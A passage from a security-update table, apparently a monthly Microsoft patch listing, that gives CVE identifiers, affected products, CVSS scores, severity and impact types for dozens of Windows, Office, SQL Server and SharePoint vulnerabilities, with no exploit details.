7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  